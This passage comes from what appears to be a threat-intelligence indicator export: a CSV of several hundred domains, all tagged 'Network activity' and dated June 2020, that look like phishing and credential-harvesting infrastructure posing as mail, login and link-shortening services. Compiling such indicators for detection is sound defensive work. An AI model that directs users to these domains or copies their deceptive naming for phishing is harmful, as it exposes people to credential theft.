activity,domain,"corn-msrvrgr.com","",1,20200608 +5ede974a-5ab4-4cec-8481-7a498064ab0b,147,Network activity,domain,"netsecureemailservice.com","",1,20200608 +5ede974a-5dd8-4f6b-831e-7a498064ab0b,147,Network activity,domain,"emailhostsecurehk.com","",1,20200608 +5ede974a-5f68-40d7-83ee-7a498064ab0b,147,Network activity,domain,"corn-en-gb.com","",1,20200608 +5ede974a-6238-4970-a66e-7a498064ab0b,147,Network activity,domain,"hostsecuremail544.com","",1,20200608 +5ede974a-624c-4728-b4e2-7a498064ab0b,147,Network activity,domain,"shadymario.com","",1,20200608 +5ede974a-6360-4a3a-ada0-7a498064ab0b,147,Network activity,domain,"ablyazovmafia.com","",1,20200608 +5ede974a-63d0-44ec-8fa7-7a498064ab0b,147,Network activity,domain,"maildeliveryagent.com","",1,20200608 +5ede974a-63fc-491f-b39b-7a498064ab0b,147,Network activity,domain,"getemailopens.com","",1,20200608 +5ede974a-650c-4b2f-9da1-7a498064ab0b,147,Network activity,domain,"netsecureserver399.com","",1,20200608 +5ede974a-6764-490c-b5a6-7a498064ab0b,147,Network activity,domain,"linkshortnr.com","",1,20200608 +5ede974a-6918-4c89-bc38-7a498064ab0b,147,Network activity,domain,"pageserverru.com","",1,20200608 +5ede974a-6b38-4858-9427-7a498064ab0b,147,Network activity,domain,"domainmanager33.site","",1,20200608 +5ede974a-6b68-4e98-ac7d-7a498064ab0b,147,Network activity,domain,"mailerdomain56.com","",1,20200608 +5ede974a-6d40-4201-8e7b-7a498064ab0b,147,Network activity,domain,"emailhostholland.com","",1,20200608 +5ede974a-6ff4-4891-9efc-7a498064ab0b,147,Network activity,domain,"domainserver399.com","",1,20200608 +5ede974a-72fc-4068-b954-7a498064ab0b,147,Network activity,domain,"sapserverhipe.com","",1,20200608 +5ede974a-7358-473b-9cfd-7a498064ab0b,147,Network activity,domain,"imapserverholland.com","",1,20200608 +5ede974a-74cc-423f-a7af-7a498064ab0b,147,Network activity,domain,"cyberanalyticals.com","",1,20200608 +5ede974a-7628-40c5-86c9-7a498064ab0b,147,Network activity,domain,"santanaservice.com","",1,20200608 +5ede974a-7680-41d3-bc19-7a498064ab0b,147,Network activity,domain,"softnetworksolutions.com","",1,20200608 +5ede974a-77a8-419e-8feb-7a498064ab0b,147,Network activity,domain,"mailcollectorservice.com","",1,20200608 +5ede974a-7aa0-48bf-ad8b-7a498064ab0b,147,Network activity,domain,"mailrockservice.com","",1,20200608 +5ede974a-7b58-47aa-9a92-7a498064ab0b,147,Network activity,domain,"mblk1.com","",1,20200608 +5ede974a-7ca0-4ba3-8d25-7a498064ab0b,147,Network activity,domain,"mailmarkservice.com","",1,20200608 +5ede974a-7cc8-4a6d-ac95-7a498064ab0b,147,Network activity,domain,"phpwebserver34.xyz","",1,20200608 +5ede974a-7ff4-4f69-890c-7a498064ab0b,147,Network activity,domain,"basemailservice.com","",1,20200608 +5ede974a-8024-4293-b1ec-7a498064ab0b,147,Network activity,domain,"domainsserver4f.com","",1,20200608 +5ede974a-81ec-4128-9036-7a498064ab0b,147,Network activity,domain,"ablyazovgang.com","",1,20200608 +5ede974a-8504-4659-bfd7-7a498064ab0b,147,Network activity,domain,"webserverredirect99.com","",1,20200608 +5ede974a-8b1c-4ee5-94be-7a498064ab0b,147,Network activity,domain,"smtpserver389.com","",1,20200608 +5ede974a-8c14-48ff-aa3c-7a498064ab0b,147,Network activity,domain,"pageserver77.com","",1,20200608 +5ede974a-8e70-479d-9aab-7a498064ab0b,147,Network activity,domain,"com-website33.biz","",1,20200608 +5ede974a-8ec4-4b0a-9792-7a498064ab0b,147,Network activity,domain,"corn-fr-fr.com","",1,20200608 +5ede974a-8ed4-4367-9b88-7a498064ab0b,147,Network activity,domain,"corn-ukr.com","",1,20200608 +5ede974a-8fb8-4691-9e50-7a498064ab0b,147,Network activity,domain,"shortformurl.com","",1,20200608 +5ede974a-90dc-40ea-9a33-7a498064ab0b,147,Network activity,domain,"checkmailserverhk.com","",1,20200608 +5ede974a-90f0-4667-8747-7a498064ab0b,147,Network activity,domain,"securemailhost46.com","",1,20200608 +5ede974a-91e4-4488-bb36-7a498064ab0b,147,Network activity,domain,"linksrtnr.com","",1,20200608 +5ede974a-92e4-4d8e-a145-7a498064ab0b,147,Network activity,domain,"domainemailhostings.com","",1,20200608 +5ede974a-930c-472e-a915-7a498064ab0b,147,Network activity,domain,"ablyazovorganisedcrime.com","",1,20200608 +5ede974a-9570-481d-b627-7a498064ab0b,147,Network activity,domain,"hostemailsecureserver.com","",1,20200608 +5ede974a-9658-41ca-8e4e-7a498064ab0b,147,Network activity,domain,"hostmailsecure.com","",1,20200608 +5ede974a-969c-4f41-9b29-7a498064ab0b,147,Network activity,domain,"ablyazovcrimestory.com","",1,20200608 +5ede974a-96bc-4de2-9a3f-7a498064ab0b,147,Network activity,domain,"maillinkservice.com","",1,20200608 +5ede974a-9798-4cb1-ade2-7a498064ab0b,147,Network activity,domain,"hbh-europe-ripoff-report.com","",1,20200608 +5ede974a-9900-4bde-bd24-7a498064ab0b,147,Network activity,domain,"onlinenetworkinghelp.com","",1,20200608 +5ede974a-9908-4265-9d9c-7a498064ab0b,147,Network activity,domain,"hostsecuremail.com","",1,20200608 +5ede974a-9de4-416e-82c6-7a498064ab0b,147,Network activity,domain,"emaildeliverysuccess.com","",1,20200608 +5ede974a-a360-40c5-bf27-7a498064ab0b,147,Network activity,domain,"serverhello54.com","",1,20200608 +5ede974a-a3b4-4400-8ce4-7a498064ab0b,147,Network activity,domain,"postserviceemaildomain.com","",1,20200608 +5ede974a-a3b8-455c-ab4c-7a498064ab0b,147,Network activity,domain,"mailapiservice.com","",1,20200608 +5ede974a-a478-4713-a96a-7a498064ab0b,147,Network activity,domain,"shortlinkcut.com","",1,20200608 +5ede974a-a4a0-4395-876d-7a498064ab0b,147,Network activity,domain,"smtpserver466.com","",1,20200608 +5ede974a-a4f8-4564-83d2-7a498064ab0b,147,Network activity,domain,"webredirect39.com","",1,20200608 +5ede974a-abc4-47f7-8141-7a498064ab0b,147,Network activity,domain,"emailsecurenode.com","",1,20200608 +5ede974a-af7c-4f6b-9404-7a498064ab0b,147,Network activity,domain,"websociofiles.com","",1,20200608 +5ede974a-afd0-4e7b-a76d-7a498064ab0b,147,Network activity,domain,"hkdrillonline.com","",1,20200608 +5ede974a-affc-4a69-ba79-7a498064ab0b,147,Network activity,domain,"searchsimple.net","",1,20200608 +5ede974a-b078-4d6f-b0ba-7a498064ab0b,147,Network activity,domain,"emailservername299.com","",1,20200608 +5ede974a-b100-401e-bc99-7a498064ab0b,147,Network activity,domain,"shortformurl.xyz","",1,20200608 +5ede974a-b18c-4072-87f0-7a498064ab0b,147,Network activity,domain,"loginauths-service.com","",1,20200608 +5ede974a-b358-4799-b811-7a498064ab0b,147,Network activity,domain,"webserveronline9.com","",1,20200608 +5ede974a-b478-4eef-87bf-7a498064ab0b,147,Network activity,domain,"hathwaynetwork.com","",1,20200608 +5ede974a-b634-4bd2-964f-7a498064ab0b,147,Network activity,domain,"ablyazovcriminals.com","",1,20200608 +5ede974a-b64c-41fd-8fed-7a498064ab0b,147,Network activity,domain,"com-website33.info","",1,20200608 +5ede974a-b704-4f9a-bac6-7a498064ab0b,147,Network activity,domain,"mailserver89.net","",1,20200608 +5ede974a-b778-4722-af3a-7a498064ab0b,147,Network activity,domain,"softredirect.info","",1,20200608 +5ede974a-b984-4338-b5aa-7a498064ab0b,147,Network activity,domain,"emailmappingservice.com","",1,20200608 +5ede974a-ba64-44ff-aa99-7a498064ab0b,147,Network activity,domain,"logserver39.com","",1,20200608 +5ede974a-ba84-4d86-8998-7a498064ab0b,147,Network activity,domain,"networkshareserver.com","",1,20200608 +5ede974a-bc48-433f-ba2f-7a498064ab0b,147,Network activity,domain,"loginservercheck.com","",1,20200608 +5ede974a-c1d4-4fb9-9ac9-7a498064ab0b,147,Network activity,domain,"ultronnetworksolution.com","",1,20200608 +5ede974a-c230-41f6-9a49-7a498064ab0b,147,Network activity,domain,"mail-logger.com","",1,20200608 +5ede974a-c258-4537-9381-7a498064ab0b,147,Network activity,domain,"loginserviceunified.com","",1,20200608 +5ede974a-c3e8-4f50-863c-7a498064ab0b,147,Network activity,domain,"homeserver87.com","",1,20200608 +5ede974a-c774-403d-88f0-7a498064ab0b,147,Network activity,domain,"mailannounceservice.com","",1,20200608 +5ede974a-c7dc-42df-859a-7a498064ab0b,147,Network activity,domain,"linkshrtnr22.com","",1,20200608 +5ede974a-caac-4790-9459-7a498064ab0b,147,Network activity,domain,"emailserverholland.com","",1,20200608 +5ede974a-cdf8-44a2-948a-7a498064ab0b,147,Network activity,domain,"mailsecurehost.com","",1,20200608 +5ede974a-d034-4204-95bd-7a498064ab0b,147,Network activity,domain,"phpwebserver34.best","",1,20200608 +5ede974a-d2a4-4362-80d4-7a498064ab0b,147,Network activity,domain,"mailserveruk89.net","",1,20200608 +5ede974a-d2e0-4497-ba46-7a498064ab0b,147,Network activity,domain,"msrfrgr.com","",1,20200608 +5ede974a-d330-4e5c-a1e1-7a498064ab0b,147,Network activity,domain,"webserver39.com","",1,20200608 +5ede974a-d6fc-4d48-8374-7a498064ab0b,147,Network activity,domain,"mailtransferserver.com","",1,20200608 +5ede974a-d980-4714-a8f9-7a498064ab0b,147,Network activity,domain,"com-website33.net","",1,20200608 +5ede974a-dabc-4879-9bd0-7a498064ab0b,147,Network activity,domain,"mailer-domain.com","",1,20200608 +5ede974a-dac8-48f3-b108-7a498064ab0b,147,Network activity,domain,"servergateway33.com","",1,20200608 +5ede974a-dae4-45a9-9694-7a498064ab0b,147,Network activity,domain,"browserextensions.info","",1,20200608 +5ede974a-dcdc-4da8-a2f7-7a498064ab0b,147,Network activity,domain,"goomail.ml","",1,20200608 +5ede974a-ddd8-474a-bf5e-7a498064ab0b,147,Network activity,domain,"mailserveruk89.com","",1,20200608 +5ede974a-deb8-4412-95d1-7a498064ab0b,147,Network activity,domain,"postmarkapiservice.com","",1,20200608 +5ede974a-df3c-4741-afa8-7a498064ab0b,147,Network activity,domain,"mailauthservice399.com","",1,20200608 +5ede974a-e18c-467e-a40b-7a498064ab0b,147,Network activity,domain,"phpwebserver34.site","",1,20200608 +5ede974a-e3dc-4e89-afab-7a498064ab0b,147,Network activity,domain,"mailchimpservice.com","",1,20200608 +5ede974a-e538-4957-a77a-7a498064ab0b,147,Network activity,domain,"pageserver299.com","",1,20200608 +5ede974a-e694-4282-9f6a-7a498064ab0b,147,Network activity,domain,"webhostwebcare.com","",1,20200608 +5ede974a-e7e8-4cc0-ba44-7a498064ab0b,147,Network activity,domain,"netmapservice.com","",1,20200608 +5ede974a-e8f0-402b-8d49-7a498064ab0b,147,Network activity,domain,"mywebredirect.info","",1,20200608 +5ede974a-e8f0-4210-a5a8-7a498064ab0b,147,Network activity,domain,"sapserver39j.com","",1,20200608 +5ede974a-eb54-4f98-8f5d-7a498064ab0b,147,Network activity,domain,"mailgatorservice.com","",1,20200608 +5ede974a-ec28-413e-ac2c-7a498064ab0b,147,Network activity,domain,"4mblk.com","",1,20200608 +5ede974a-eccc-432c-9ad7-7a498064ab0b,147,Network activity,domain,"myfacetik.cf","",1,20200608 +5ede974a-ed04-4563-b839-7a498064ab0b,147,Network activity,domain,"ablyazovcriminalgang.com","",1,20200608 +5ede974a-ed18-48ee-a223-7a498064ab0b,147,Network activity,domain,"mailingserver938.com","",1,20200608 +5ede974a-f0c4-4628-a01d-7a498064ab0b,147,Network activity,domain,"openserverholland.com","",1,20200608 +5ede974a-f210-4037-8741-7a498064ab0b,147,Network activity,domain,"emailserverhk48.com","",1,20200608 +5ede974a-f598-4c2e-b774-7a498064ab0b,147,Network activity,domain,"emailauthservice.com","",1,20200608 +5ede974a-f87c-402a-9b1a-7a498064ab0b,147,Network activity,domain,"rackserver39.com","",1,20200608 +5ede974a-f934-4a99-9c8f-7a498064ab0b,147,Network activity,domain,"un-told.net","",1,20200608 +5ede974a-fb04-40f9-aeff-7a498064ab0b,147,Network activity,domain,"ablyazovcrimesyndicate.com","",1,20200608 +5ede974a-fb80-49d4-912d-7a498064ab0b,147,Network activity,domain,"searchsimple.info","",1,20200608 +5ede974a-fc84-4a5c-a9b1-7a498064ab0b,147,Network activity,domain,"mailpostsecure.com","",1,20200608 +5ede974a-fdd8-48f5-aede-7a498064ab0b,147,Network activity,domain,"emailserver399.com","",1,20200608 +5ede974a-ffa4-4456-8d11-7a498064ab0b,147,Network activity,domain,"mailpostsecureservice.com","",1,20200608 +5ede974b-0010-4ce9-aede-7a498064ab0b,147,Network activity,domain,"ultimateresponseservice.com","",1,20200608 +5ede974b-0180-4724-9fc2-7a498064ab0b,147,Network activity,domain,"shortnerserviceonline.com","",1,20200608 +5ede974b-0394-493e-92cc-7a498064ab0b,147,Network activity,domain,"hostbasicsg.com","",1,20200608 +5ede974b-0394-4fcb-ab1d-7a498064ab0b,147,Network activity,domain,"loginservicesmailsonlinesaccounts.com","",1,20200608 +5ede974b-048c-4ae5-900c-7a498064ab0b,147,Network activity,domain,"sapserverhg.com","",1,20200608 +5ede974b-076c-40b4-acd9-7a498064ab0b,147,Network activity,domain,"demoprojectsuk.com","",1,20200608 +5ede974b-1050-4a49-a531-7a498064ab0b,147,Network activity,domain,"selectedservicesg.com","",1,20200608 +5ede974b-1060-4d92-a2c9-7a498064ab0b,147,Network activity,domain,"mailsecureservers.com","",1,20200608 +5ede974b-1134-4ece-8e78-7a498064ab0b,147,Network activity,domain,"javaservermy.com","",1,20200608 +5ede974b-11b8-463d-8aee-7a498064ab0b,147,Network activity,domain,"selectedmaxstores.com","",1,20200608 +5ede974b-12b8-478f-9a4a-7a498064ab0b,147,Network activity,domain,"browserdirectservice.com","",1,20200608 +5ede974b-133c-435b-a17d-7a498064ab0b,147,Network activity,domain,"trustedserviceonline.com","",1,20200608 +5ede974b-138c-440a-9b4f-7a498064ab0b,147,Network activity,domain,"affliatedomainservice.com","",1,20200608 +5ede974b-1390-41f2-9eef-7a498064ab0b,147,Network activity,domain,"registrationonlineeurope.com","",1,20200608 +5ede974b-1518-4800-9a25-7a498064ab0b,147,Network activity,domain,"mylinbas.com","",1,20200608 +5ede974b-1584-4172-9242-7a498064ab0b,147,Network activity,domain,"anitmationworldnews.com","",1,20200608 +5ede974b-15f0-4ebc-818d-7a498064ab0b,147,Network activity,domain,"backwaterreservoir.com","",1,20200608 +5ede974b-1900-4c7a-9a95-7a498064ab0b,147,Network activity,domain,"serverloadbalance.com","",1,20200608 +5ede974b-1bf8-4a3a-a1a1-7a498064ab0b,147,Network activity,domain,"hiretechservicehg.com","",1,20200608 +5ede974b-1d98-411f-854f-7a498064ab0b,147,Network activity,domain,"mailserveroutlook.com","",1,20200608 +5ede974b-1e04-4f54-9d73-7a498064ab0b,147,Network activity,domain,"hostfeasta.com","",1,20200608 +5ede974b-1fd0-4c51-aaa5-7a498064ab0b,147,Network activity,domain,"postserverem.com","",1,20200608 +5ede974b-214c-4a18-84c3-7a498064ab0b,147,Network activity,domain,"selectiveservicemax.com","",1,20200608 +5ede974b-226c-4b68-9093-7a498064ab0b,147,Network activity,domain,"linuxbasicsg1.com","",1,20200608 +5ede974b-22b8-40e6-afe3-7a498064ab0b,147,Network activity,domain,"mailcommute.com","",1,20200608 +5ede974b-25e4-459a-9744-7a498064ab0b,147,Network activity,domain,"onlineloginportalsg.com","",1,20200608 +5ede974b-26c8-401d-afe0-7a498064ab0b,147,Network activity,domain,"basichostingrussia.com","",1,20200608 +5ede974b-27cc-4146-b861-7a498064ab0b,147,Network activity,domain,"optionalblogging.com","",1,20200608 +5ede974b-292c-4c75-9e27-7a498064ab0b,147,Network activity,domain,"mailserviceloginonline.com","",1,20200608 +5ede974b-2930-48c9-b7ec-7a498064ab0b,147,Network activity,domain,"internetmarketingservicehg.com","",1,20200608 +5ede974b-2a10-40d2-ad2d-7a498064ab0b,147,Network activity,domain,"hostbasicru.com","",1,20200608 +5ede974b-2c70-49dc-9b5e-7a498064ab0b,147,Network activity,domain,"bellsouthnetwork.com","",1,20200608 +5ede974b-2d00-4dc6-8bb2-7a498064ab0b,147,Network activity,domain,"domainhostworkeu.com","",1,20200608 +5ede974b-2e14-46ca-84d1-7a498064ab0b,147,Network activity,domain,"onlineloginportalhk.com","",1,20200608 +5ede974b-3010-4cee-95ae-7a498064ab0b,147,Network activity,domain,"secureserverasia.com","",1,20200608 +5ede974b-3028-4600-82af-7a498064ab0b,147,Network activity,domain,"fastserverusa.com","",1,20200608 +5ede974b-3108-4ce1-b76a-7a498064ab0b,147,Network activity,domain,"usewithcareathome.com","",1,20200608 +5ede974b-3340-45f1-915d-7a498064ab0b,147,Network activity,domain,"buzzoffru.com","",1,20200608 +5ede974b-3340-4c3f-bf88-7a498064ab0b,147,Network activity,domain,"webserver39490.com","",1,20200608 +5ede974b-34c0-47a6-9887-7a498064ab0b,147,Network activity,domain,"buzzoffsg.com","",1,20200608 +5ede974b-3538-441f-8489-7a498064ab0b,147,Network activity,domain,"shipnyatchholland.com","",1,20200608 +5ede974b-3584-4b12-925f-7a498064ab0b,147,Network activity,domain,"standardofficeholland.com","",1,20200608 +5ede974b-3594-4998-b9e1-7a498064ab0b,147,Network activity,domain,"domainlocalhostinghk.com","",1,20200608 +5ede974b-3634-4a5f-b63d-7a498064ab0b,147,Network activity,domain,"watchmanservice.com","",1,20200608 +5ede974b-3690-4c15-99b4-7a498064ab0b,147,Network activity,domain,"linuxbasicru.com","",1,20200608 +5ede974b-3794-4593-8994-7a498064ab0b,147,Network activity,domain,"domainsforsupport.com","",1,20200608 +5ede974b-3930-4de3-8ded-7a498064ab0b,147,Network activity,domain,"offshoretoursntravels.com","",1,20200608 +5ede974b-3b48-441b-9258-7a498064ab0b,147,Network activity,domain,"chromeperfection.com","",1,20200608 +5ede974b-3b88-4b23-9f2f-7a498064ab0b,147,Network activity,domain,"hostserverrus.com","",1,20200608 +5ede974b-3bf0-48e4-b015-7a498064ab0b,147,Network activity,domain,"loginservicebasic.com","",1,20200608 +5ede974b-3c58-49a5-91d9-7a498064ab0b,147,Network activity,domain,"frwrdrwr.com","",1,20200608 +5ede974b-3fd0-4d16-94f7-7a498064ab0b,147,Network activity,domain,"hostbasicholl.com","",1,20200608 +5ede974b-4078-4c94-97f9-7a498064ab0b,147,Network activity,domain,"planyourexoticvacation.com","",1,20200608 +5ede974b-40c4-4a93-96e4-7a498064ab0b,147,Network activity,domain,"shrinkthisurl.com","",1,20200608 +5ede974b-4178-428d-9a89-7a498064ab0b,147,Network activity,domain,"basichostnetservice.com","",1,20200608 +5ede974b-44dc-476e-999f-7a498064ab0b,147,Network activity,domain,"domainlocalhostinguk.com","",1,20200608 +5ede974b-4578-4f21-b8e0-7a498064ab0b,147,Network activity,domain,"ruslinbas.com","",1,20200608 +5ede974b-4690-4211-b94f-7a498064ab0b,147,Network activity,domain,"updatenameserver45.com","",1,20200608 +5ede974b-4868-4ba6-9d46-7a498064ab0b,147,Network activity,domain,"buzzoffmy.com","",1,20200608 +5ede974b-48ac-49f7-aa25-7a498064ab0b,147,Network activity,domain,"webserveroginusa.com","",1,20200608 +5ede974b-4918-4acf-8bc2-7a498064ab0b,147,Network activity,domain,"getreadytorunhalfmarathon.com","",1,20200608 +5ede974b-49a4-4739-aceb-7a498064ab0b,147,Network activity,domain,"domainexpertswebuk.com","",1,20200608 +5ede974b-4aac-4dc1-874c-7a498064ab0b,147,Network activity,domain,"luxlinbas.com","",1,20200608 +5ede974b-4c1c-4135-96a3-7a498064ab0b,147,Network activity,domain,"auditionregistrationonline.com","",1,20200608 +5ede974b-4c7c-4ff7-84df-7a498064ab0b,147,Network activity,domain,"strngbltru.com","",1,20200608 +5ede974b-4cfc-4fb4-8b9b-7a498064ab0b,147,Network activity,domain,"hollandtourandtravel.com","",1,20200608 +5ede974b-4de0-4c57-9268-7a498064ab0b,147,Network activity,domain,"domainhostnetworkusa.com","",1,20200608 +5ede974b-4e40-4bc5-8730-7a498064ab0b,147,Network activity,domain,"homeforallorphans.com","",1,20200608 +5ede974b-51d4-4035-8752-7a498064ab0b,147,Network activity,domain,"serverforhome.com","",1,20200608 +5ede974b-51e8-4732-bf38-7a498064ab0b,147,Network activity,domain,"productdemoservice.com","",1,20200608 +5ede974b-5228-4bc7-ac4a-7a498064ab0b,147,Network activity,domain,"exchangeserverformailing.com","",1,20200608 +5ede974b-53d4-4528-b91f-7a498064ab0b,147,Network activity,domain,"dotnerserversg.com","",1,20200608 +5ede974b-5454-4b4d-aa33-7a498064ab0b,147,Network activity,domain,"hostbasichk.com","",1,20200608 +5ede974b-54c4-4074-9a98-7a498064ab0b,147,Network activity,domain,"redirectserviceonline.com","",1,20200608 +5ede974b-56b4-4798-85da-7a498064ab0b,147,Network activity,domain,"standardofficeuk.com","",1,20200608 +5ede974b-56c4-4a2a-8774-7a498064ab0b,147,Network activity,domain,"shoponlinefreeuk.com","",1,20200608 +5ede974b-5740-4f87-978e-7a498064ab0b,147,Network activity,domain,"tnyurlservice.com","",1,20200608 +5ede974b-583c-4616-a682-7a498064ab0b,147,Network activity,domain,"netsecurehostingmy.com","",1,20200608 +5ede974b-5af4-43e2-afa4-7a498064ab0b,147,Network activity,domain,"personaldoaminru.com","",1,20200608 +5ede974b-5cec-4d36-9d48-7a498064ab0b,147,Network activity,domain,"loginservicehelp.com","",1,20200608 +5ede974b-5cf0-4e14-9200-7a498064ab0b,147,Network activity,domain,"youranotherserver.com","",1,20200608 +5ede974b-5cf4-43bc-9d02-7a498064ab0b,147,Network activity,domain,"shrinkandshareurl.com","",1,20200608 +5ede974b-5e04-4a75-8dde-7a498064ab0b,147,Network activity,domain,"domainformailinguk.com","",1,20200608 +5ede974b-5ebc-4cef-b91d-7a498064ab0b,147,Network activity,domain,"serverfortechies.com","",1,20200608 +5ede974b-5ebc-4d75-a571-7a498064ab0b,147,Network activity,domain,"exchangeserver2345.com","",1,20200608 +5ede974b-5f40-4848-a111-7a498064ab0b,147,Network activity,domain,"hostusewithtech.com","",1,20200608 +5ede974b-5f4c-49d8-b403-7a498064ab0b,147,Network activity,domain,"optionalblogginguk.com","",1,20200608 +5ede974b-5fa0-4bc1-82c4-7a498064ab0b,147,Network activity,domain,"domainsforfreehosting.com","",1,20200608 +5ede974b-6098-4415-bf1e-7a498064ab0b,147,Network activity,domain,"transferdomainhk.com","",1,20200608 +5ede974b-61ac-49a6-8ce9-7a498064ab0b,147,Network activity,domain,"basicservicemy.com","",1,20200608 +5ede974b-646c-46fa-b45a-7a498064ab0b,147,Network activity,domain,"onlineloginserviceeu.com","",1,20200608 +5ede974b-6930-47e1-ad77-7a498064ab0b,147,Network activity,domain,"supportserviceeu.com","",1,20200608 +5ede974b-693c-4ffc-97a6-7a498064ab0b,147,Network activity,domain,"blogserverlx.com","",1,20200608 +5ede974b-69a0-414f-9baa-7a498064ab0b,147,Network activity,domain,"browserredirect.com","",1,20200608 +5ede974b-6b04-446d-83a0-7a498064ab0b,147,Network activity,domain,"localserversa.com","",1,20200608 +5ede974b-6b64-457f-86c4-7a498064ab0b,147,Network activity,domain,"tricktravelbooking.com","",1,20200608 +5ede974b-6c6c-4931-8c5a-7a498064ab0b,147,Network activity,domain,"trackserviceonline.xyz","",1,20200608 +5ede974b-6d20-4054-87fc-7a498064ab0b,147,Network activity,domain,"racksackserveruk.com","",1,20200608 +5ede974b-6e00-4107-b39f-7a498064ab0b,147,Network activity,domain,"websecurehostings.com","",1,20200608 +5ede974b-6ee8-4b70-acdc-7a498064ab0b,147,Network activity,domain,"onlineloginserviceuk.com","",1,20200608 +5ede974b-6ee8-4c07-a877-7a498064ab0b,147,Network activity,domain,"strongwingtechnologies.com","",1,20200608 +5ede974b-7154-4e65-8649-7a498064ab0b,147,Network activity,domain,"transferdomainlu.com","",1,20200608 +5ede974b-7244-43e1-92cc-7a498064ab0b,147,Network activity,domain,"domainhostnetworkuk.com","",1,20200608 +5ede974b-7348-4b92-8293-7a498064ab0b,147,Network activity,domain,"bitserverhk.com","",1,20200608 +5ede974b-7354-4483-95e8-7a498064ab0b,147,Network activity,domain,"mailauthorizationservice.com","",1,20200608 +5ede974b-73d8-4115-838f-7a498064ab0b,147,Network activity,domain,"tinyurlshortner.com","",1,20200608 +5ede974b-748c-44c9-aef9-7a498064ab0b,147,Network activity,domain,"basicservicehk.com","",1,20200608 +5ede974b-7674-4e17-9971-7a498064ab0b,147,Network activity,domain,"dotnetserverhk.com","",1,20200608 +5ede974b-7680-4679-b122-7a498064ab0b,147,Network activity,domain,"serviceasneed.com","",1,20200608 +5ede974b-792c-42eb-b93e-7a498064ab0b,147,Network activity,domain,"economyfeeds.com","",1,20200608 +5ede974b-7b90-41ef-9af5-7a498064ab0b,147,Network activity,domain,"msgrdrg.com","",1,20200608 +5ede974b-7d38-4846-9698-7a498064ab0b,147,Network activity,domain,"tineeurl.com","",1,20200608 +5ede974b-7e20-49ed-aa14-7a498064ab0b,147,Network activity,domain,"buzzoffhk.com","",1,20200608 +5ede974b-7edc-4057-baba-7a498064ab0b,147,Network activity,domain,"webserverdomainusa.com","",1,20200608 +5ede974b-7edc-4931-a120-7a498064ab0b,147,Network activity,domain,"hongkongshippingcompany.com","",1,20200608 +5ede974b-8008-4c91-a16b-7a498064ab0b,147,Network activity,domain,"localhostinguk.com","",1,20200608 +5ede974b-806c-42c6-b2f9-7a498064ab0b,147,Network activity,domain,"serverasiasap.com","",1,20200608 +5ede974b-829c-454d-bd75-7a498064ab0b,147,Network activity,domain,"shortenurlservices.com","",1,20200608 +5ede974b-82f0-4cf1-aa52-7a498064ab0b,147,Network activity,domain,"basicservicelux.com","",1,20200608 +5ede974b-83c0-4085-9855-7a498064ab0b,147,Network activity,domain,"mailserverdirect3994.com","",1,20200608 +5ede974b-844c-45a5-8ab8-7a498064ab0b,147,Network activity,domain,"fastservereurope.com","",1,20200608 +5ede974b-85c0-4aa0-9d28-7a498064ab0b,147,Network activity,domain,"serverforhelpru.com","",1,20200608 +5ede974b-863c-4ea3-bc83-7a498064ab0b,147,Network activity,domain,"optionalblogginges.com","",1,20200608 +5ede974b-8704-4ba7-b7b8-7a498064ab0b,147,Network activity,domain,"economyservicesil.com","",1,20200608 +5ede974b-87e4-4558-a61a-7a498064ab0b,147,Network activity,domain,"basicservicerus.com","",1,20200608 +5ede974b-8810-46a1-b086-7a498064ab0b,147,Network activity,domain,"russialinuxbasic.com","",1,20200608 +5ede974b-885c-427b-9a04-7a498064ab0b,147,Network activity,domain,"hardcoretechnologiesllp.com","",1,20200608 +5ede974b-886c-4f69-b4d5-7a498064ab0b,147,Network activity,domain,"homeremedytipntricks.com","",1,20200608 +5ede974b-898c-4a02-9d5c-7a498064ab0b,147,Network activity,domain,"mailserver39.com","",1,20200608 +5ede974b-8b3c-4a51-bc70-7a498064ab0b,147,Network activity,domain,"trusteventservices.com","",1,20200608 +5ede974b-8bac-43ad-88c1-7a498064ab0b,147,Network activity,domain,"emailbaseserverhl.com","",1,20200608 +5ede974b-8c64-4036-b55a-7a498064ab0b,147,Network activity,domain,"servicegoingfar.com","",1,20200608 +5ede974b-8ccc-4d1c-96fd-7a498064ab0b,147,Network activity,domain,"selectedservicemy.com","",1,20200608 +5ede974b-8d54-4966-b6ce-7a498064ab0b,147,Network activity,domain,"netserviceru.com","",1,20200608 +5ede974b-90cc-4198-b987-7a498064ab0b,147,Network activity,domain,"sglinbas.com","",1,20200608 +5ede974b-90ec-4a51-9cb1-7a498064ab0b,147,Network activity,domain,"blogforpranks.com","",1,20200608 +5ede974b-91e4-441f-8e18-7a498064ab0b,147,Network activity,domain,"standardofficeil.com","",1,20200608 +5ede974b-92f4-4263-aba5-7a498064ab0b,147,Network activity,domain,"webdomainexperts.com","",1,20200608 +5ede974b-9504-4c77-90af-7a498064ab0b,147,Network activity,domain,"selectyourgroom.com","",1,20200608 +5ede974b-98ac-4c09-a078-7a498064ab0b,147,Network activity,domain,"srvrgruk.com","",1,20200608 +5ede974b-995c-4825-96e8-7a498064ab0b,147,Network activity,domain,"getsetgoforhealth.com","",1,20200608 +5ede974b-9a00-4765-a6a3-7a498064ab0b,147,Network activity,domain,"emailserver4859.com","",1,20200608 +5ede974b-9d20-47f0-ae1a-7a498064ab0b,147,Network activity,domain,"offshorecompanyllp.com","",1,20200608 +5ede974b-9d70-42e3-99df-7a498064ab0b,147,Network activity,domain,"buzzoffbul.com","",1,20200608 +5ede974b-a0dc-4952-b5e7-7a498064ab0b,147,Network activity,domain,"knowledgebaseonlineuk.com","",1,20200608 +5ede974b-a1d4-4af1-b30e-7a498064ab0b,147,Network activity,domain,"promotespritialbelief.com","",1,20200608 +5ede974b-a390-4424-8619-7a498064ab0b,147,Network activity,domain,"com-authmail.com","",1,20200608 +5ede974b-a3b4-404d-aab6-7a498064ab0b,147,Network activity,domain,"linkfollowservice.com","",1,20200608 +5ede974b-a520-446a-8154-7a498064ab0b,147,Network activity,domain,"maxlaboratories.com","",1,20200608 +5ede974b-a7c8-492e-b0cc-7a498064ab0b,147,Network activity,domain,"xpertmaildomain.com","",1,20200608 +5ede974b-a7e4-469f-a011-7a498064ab0b,147,Network activity,domain,"basicruoffshore.com","",1,20200608 +5ede974b-ab10-4ab3-a06d-7a498064ab0b,147,Network activity,domain,"webserverdomainuk.com","",1,20200608 +5ede974b-ab8c-41d3-86e4-7a498064ab0b,147,Network activity,domain,"onlineloginportalmy.com","",1,20200608 +5ede974b-abc8-4549-93d6-7a498064ab0b,147,Network activity,domain,"logincontrolserver.com","",1,20200608 +5ede974b-abfc-4f30-a75e-7a498064ab0b,147,Network activity,domain,"shoponlinefreesg.com","",1,20200608 +5ede974b-ac34-420a-ada9-7a498064ab0b,147,Network 